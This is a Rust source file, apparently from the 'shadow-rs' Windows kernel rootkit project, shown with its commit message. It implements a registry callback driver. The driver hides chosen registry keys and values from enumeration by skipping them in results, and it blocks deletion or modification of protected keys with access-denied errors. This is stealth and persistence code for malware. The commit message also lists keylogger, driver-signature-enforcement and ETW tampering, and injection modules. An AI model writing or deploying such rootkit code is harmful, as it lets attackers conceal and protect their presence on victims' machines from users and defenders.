Files
shadow-rs/driver/src/registry/callback.rs
joaoviictorti 8f96d4ec09 feature(driver): refactor internals and improve callback management
- Moved and refactored several internal modules to `driver/src/internals/`:
  - Added new files: `enums.rs`, `externs.rs`, `structs.rs`, `types.rs`, and `mod.rs`.
  - Renamed `includes/vad.rs` to `internals/vad.rs` for better organization.
- Updated `callback` module:
  - Refactored `notify_routine.rs`, `object.rs`, `registry.rs`, and supporting files for better callback handling.
  - Improved callback finding mechanism in `find_callback.rs` and `ioctls.rs`.
- Adjusted `injection` module:
  - Refactored callback and I/O control handling in `callbacks.rs` and `ioctls.rs`.
- Miscellaneous improvements:
  - Updated `misc/dse.rs`, `misc/etwti.rs`, and `keylogger/mod.rs`.
  - Refactored `process`, `registry`, and `thread` modules for better maintainability.
  - Simplified utility functions in `utils/`, including `address.rs`, `handles.rs`, `patterns.rs`, and more.
  - Cleaned up and removed unused files like `.gitignore` in multiple directories.
- Updated `Cargo.toml` and `Cargo.lock` to reflect dependency changes.
2024-09-25 18:28:10 -03:00

393 lines
12 KiB
Rust

#![allow(non_upper_case_globals)]
use {
super::{
utils::{check_key_value, enumerate_value_key, RegistryInfo},
HIDE_KEYS, HIDE_KEY_VALUES, TARGET_KEYS, TARGET_KEY_VALUES
},
crate::{
registry::{utils::{check_key, enumerate_key}, Registry},
utils::{pool::PoolMemory, valid_kernel_memory}
},
alloc::{format, string::String},
core::{ffi::c_void, ptr::null_mut},
wdk_sys::{
ntddk::{
CmCallbackGetKeyObjectIDEx, CmCallbackReleaseKeyObjectIDEx,
ObOpenObjectByPointer, ZwClose
},
_MODE::KernelMode,
_REG_NOTIFY_CLASS::{
RegNtPostEnumerateKey, RegNtPostEnumerateValueKey, RegNtPreDeleteKey,
RegNtPreDeleteValueKey, RegNtPreQueryKey, RegNtPreSetValueKey
}, *
},
};
/// Handle for Registry Callback
pub static mut CALLBACK_REGISTRY: LARGE_INTEGER = unsafe { core::mem::zeroed() };
/// The registry callback function handles registry-related operations based on the notification class.
///
/// # Parameters
///
/// - `_callback_context`: A pointer to the callback context, usually not used.
/// - `argument1`: A pointer to the notification class.
/// - `argument2`: A pointer to the information related to the registry operation.
///
/// # Returns
///
/// - `NTSTATUS`: A status code indicating the result of the operation.
///
pub unsafe extern "C" fn registry_callback(
_callback_context: *mut c_void,
argument1: *mut c_void,
argument2: *mut c_void,
) -> NTSTATUS {
let status;
let reg_notify_class = argument1 as i32;
match reg_notify_class {
RegNtPreSetValueKey => {
status = pre_set_value_key(argument2 as *mut REG_SET_VALUE_KEY_INFORMATION);
},
RegNtPreDeleteValueKey => {
status = pre_delete_value_key(argument2 as *mut REG_DELETE_VALUE_KEY_INFORMATION);
},
RegNtPreDeleteKey => {
status = pre_delete_key(argument2 as *mut REG_DELETE_KEY_INFORMATION);
},
RegNtPreQueryKey => {
status = pre_query_key(argument2 as *mut REG_QUERY_KEY_INFORMATION);
},
RegNtPostEnumerateKey => {
status = post_enumerate_key(argument2 as *mut REG_POST_OPERATION_INFORMATION);
},
RegNtPostEnumerateValueKey => {
status = post_enumerate_key_value(argument2 as *mut REG_POST_OPERATION_INFORMATION);
}
_ => return STATUS_SUCCESS,
}
status
}
/// Handles the pre-delete key operation.
///
/// # Parameters
///
/// - `info`: A pointer to `REG_DELETE_KEY_INFORMATION`.
///
/// # Returns
///
/// - `NTSTATUS`: A status code indicating success or failure.
///
unsafe fn pre_delete_key(info: *mut REG_DELETE_KEY_INFORMATION) -> NTSTATUS {
let status;
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
return STATUS_SUCCESS;
}
let key = match read_key(info) {
Ok(key) => key,
Err(err) => return err
};
status = if Registry::check_key(key, TARGET_KEYS.lock()) {
STATUS_ACCESS_DENIED
} else {
STATUS_SUCCESS
};
status
}
/// Performs the post-operation to enumerate registry key values.
///
/// # Parameters
///
/// - `info`: Pointer to the information structure of the post-execution logging operation.
///
/// # Returns
///
/// - `NTSTATUS`: Returns the status of the operation. If the key value is found and handled correctly, returns `STATUS_SUCCESS`.
///
unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTATUS {
if !NT_SUCCESS((*info).Status) {
return (*info).Status
}
let key = match read_key(info) {
Ok(key) => key,
Err(err) => return err
};
if !check_key_value(info, key.clone()) {
return STATUS_SUCCESS
}
let pre_info = match ((*info).PreInformation as *mut REG_ENUMERATE_VALUE_KEY_INFORMATION).as_ref() {
Some(pre_info) => pre_info,
None => return STATUS_SUCCESS,
};
let mut key_handle = null_mut();
let status = ObOpenObjectByPointer(
(*info).Object,
OBJ_KERNEL_HANDLE,
null_mut(),
KEY_ALL_ACCESS,
*CmKeyObjectType,
KernelMode as i8,
&mut key_handle
);
if !NT_SUCCESS(status) {
log::error!("ObOpenObjectByPointer Failed With Status: {status}");
return STATUS_SUCCESS;
}
let buffer = match PoolMemory::new(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) {
Some(mem) => mem.ptr as *mut u8,
None => {
log::error!("PoolMemory (Enumerate Key) Failed");
ZwClose(key_handle);
return STATUS_SUCCESS;
}
};
let mut result_length = 0;
let mut counter = 0;
while let Some(value_name) = enumerate_value_key(key_handle, pre_info.Index + counter, buffer, (*pre_info).Length, (*pre_info).KeyValueInformationClass, &mut result_length) {
if !Registry::check_target(key.clone(), value_name.clone(), HIDE_KEY_VALUES.lock()) {
if let Some(pre_info_key_info) = (pre_info.KeyValueInformation as *mut c_void).as_mut() {
*(*pre_info).ResultLength = result_length;
core::ptr::copy_nonoverlapping(buffer, pre_info_key_info as *mut _ as *mut u8, result_length as usize);
break;
} else {
log::error!("Failed to copy key information.");
break;
}
} else {
counter += 1;
}
}
ZwClose(key_handle);
STATUS_SUCCESS
}
/// Performs the post-operation to enumerate registry keys.
///
/// # Parameters
///
/// - `info`: Pointer to the information structure of the post-execution logging operation.
///
/// # Returns
///
/// - `NTSTATUS`: Returns the status of the operation, keeping the original status if the previous operation failed.
///
unsafe fn post_enumerate_key(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTATUS {
if !NT_SUCCESS((*info).Status) {
return (*info).Status
}
let key = match read_key(info) {
Ok(key) => key,
Err(err) => return err
};
if !check_key(info, key.clone()) {
return STATUS_SUCCESS
}
let pre_info = match ((*info).PreInformation as *mut REG_ENUMERATE_KEY_INFORMATION).as_ref() {
Some(pre_info) => pre_info,
None => return STATUS_SUCCESS,
};
let mut key_handle = null_mut();
let status = ObOpenObjectByPointer(
(*info).Object,
OBJ_KERNEL_HANDLE,
null_mut(),
KEY_ALL_ACCESS,
*CmKeyObjectType,
KernelMode as i8,
&mut key_handle
);
if !NT_SUCCESS(status) {
log::error!("ObOpenObjectByPointer Failed With Status: {status}");
return STATUS_SUCCESS;
}
let buffer = match PoolMemory::new(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) {
Some(mem) => mem.ptr as *mut u8,
None => {
log::error!("PoolMemory (Enumerate Key) Failed");
ZwClose(key_handle);
return STATUS_SUCCESS;
}
};
let mut result_length = 0;
let mut counter = 0;
while let Some(key_name) = enumerate_key(key_handle, pre_info.Index + counter, buffer, (*pre_info).Length, (*pre_info).KeyInformationClass, &mut result_length) {
let key_format = format!("{key}\\{key_name}");
if !Registry::check_key(key_format, HIDE_KEYS.lock()) {
if let Some(pre_info_key_info) = (pre_info.KeyInformation as *mut c_void).as_mut() {
*(*pre_info).ResultLength = result_length;
core::ptr::copy_nonoverlapping(buffer, pre_info_key_info as *mut _ as *mut u8, result_length as usize);
break;
} else {
log::error!("Failed to copy key information.");
break;
}
} else {
counter += 1;
}
}
ZwClose(key_handle);
STATUS_SUCCESS
}
/// Handles the pre-query key operation.
///
/// # Parameters
///
/// - `info`: A pointer to `REG_QUERY_KEY_INFORMATION`.
///
/// # Returns
///
/// - `NTSTATUS`: A status code indicating success or failure.
///
unsafe fn pre_query_key(info: *mut REG_QUERY_KEY_INFORMATION) -> NTSTATUS {
let status;
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
return STATUS_SUCCESS;
}
let key = match read_key(info) {
Ok(key) => key,
Err(err) => return err
};
status = if Registry::check_key(key.clone(), HIDE_KEYS.lock()) {
STATUS_SUCCESS
} else {
STATUS_SUCCESS
};
status
}
/// Handles the pre-delete value key operation.
///
/// # Parameters
///
/// - `info`: A pointer to `REG_DELETE_VALUE_KEY_INFORMATION`.
///
/// # Returns
///
/// - `NTSTATUS`: A status code indicating success or failure.
///
unsafe fn pre_delete_value_key(info: *mut REG_DELETE_VALUE_KEY_INFORMATION) -> NTSTATUS {
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
return STATUS_SUCCESS;
}
let key = match read_key(info) {
Ok(key) => key,
Err(err) => return err
};
let value_name = (*info).ValueName;
if (*info).ValueName.is_null() || (*value_name).Buffer.is_null() || (*value_name).Length == 0 || !valid_kernel_memory((*value_name).Buffer as u64) {
return STATUS_SUCCESS;
}
let buffer = core::slice::from_raw_parts((*value_name).Buffer, ((*value_name).Length / 2) as usize);
let name = String::from_utf16_lossy(buffer);
if Registry::<(String, String)>::check_target(key.clone(), name.clone(), TARGET_KEY_VALUES.lock()) {
STATUS_ACCESS_DENIED
} else {
STATUS_SUCCESS
}
}
/// Handles the pre-set value key operation.
///
/// # Parameters
///
/// - `info`: A pointer to `REG_SET_VALUE_KEY_INFORMATION`.
///
/// # Returns
///
/// - `NTSTATUS`: A status code indicating success or failure.
///
unsafe fn pre_set_value_key(info: *mut REG_SET_VALUE_KEY_INFORMATION) -> NTSTATUS {
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
return STATUS_SUCCESS;
}
let key = match read_key(info) {
Ok(key) => key,
Err(err) => return err
};
let value_name = (*info).ValueName;
if (*info).ValueName.is_null() || (*value_name).Buffer.is_null() || (*value_name).Length == 0 || !valid_kernel_memory((*value_name).Buffer as u64) {
return STATUS_SUCCESS;
}
let buffer = core::slice::from_raw_parts((*value_name).Buffer,((*value_name).Length / 2) as usize);
let name = String::from_utf16_lossy(buffer);
if Registry::check_target(key.clone(), name.clone(), TARGET_KEY_VALUES.lock()) {
STATUS_ACCESS_DENIED
} else {
STATUS_SUCCESS
}
}
/// Reads the key name from the registry information.
///
/// # Parameters
///
/// - `info`: A pointer to the registry information.
///
/// # Returns
///
/// - `Result<String, NTSTATUS>`: The key name or an error status.
///
unsafe fn read_key<T: RegistryInfo>(info: *mut T) -> Result<String, NTSTATUS> {
let mut reg_path: PCUNICODE_STRING = core::ptr::null_mut();
let status = CmCallbackGetKeyObjectIDEx(
core::ptr::addr_of_mut!(CALLBACK_REGISTRY),
(*info).get_object(),
null_mut(),
&mut reg_path,
0
);
if !NT_SUCCESS(status) {
return Err(STATUS_SUCCESS)
}
if reg_path.is_null() || (*reg_path).Buffer.is_null() || (*reg_path).Length == 0 || !valid_kernel_memory((*reg_path).Buffer as u64) {
CmCallbackReleaseKeyObjectIDEx(reg_path);
return Err(STATUS_SUCCESS);
}
let buffer = core::slice::from_raw_parts((*reg_path).Buffer, ((*reg_path).Length / 2) as usize);
let name = String::from_utf16_lossy(buffer);
CmCallbackReleaseKeyObjectIDEx(reg_path);
Ok(name)
}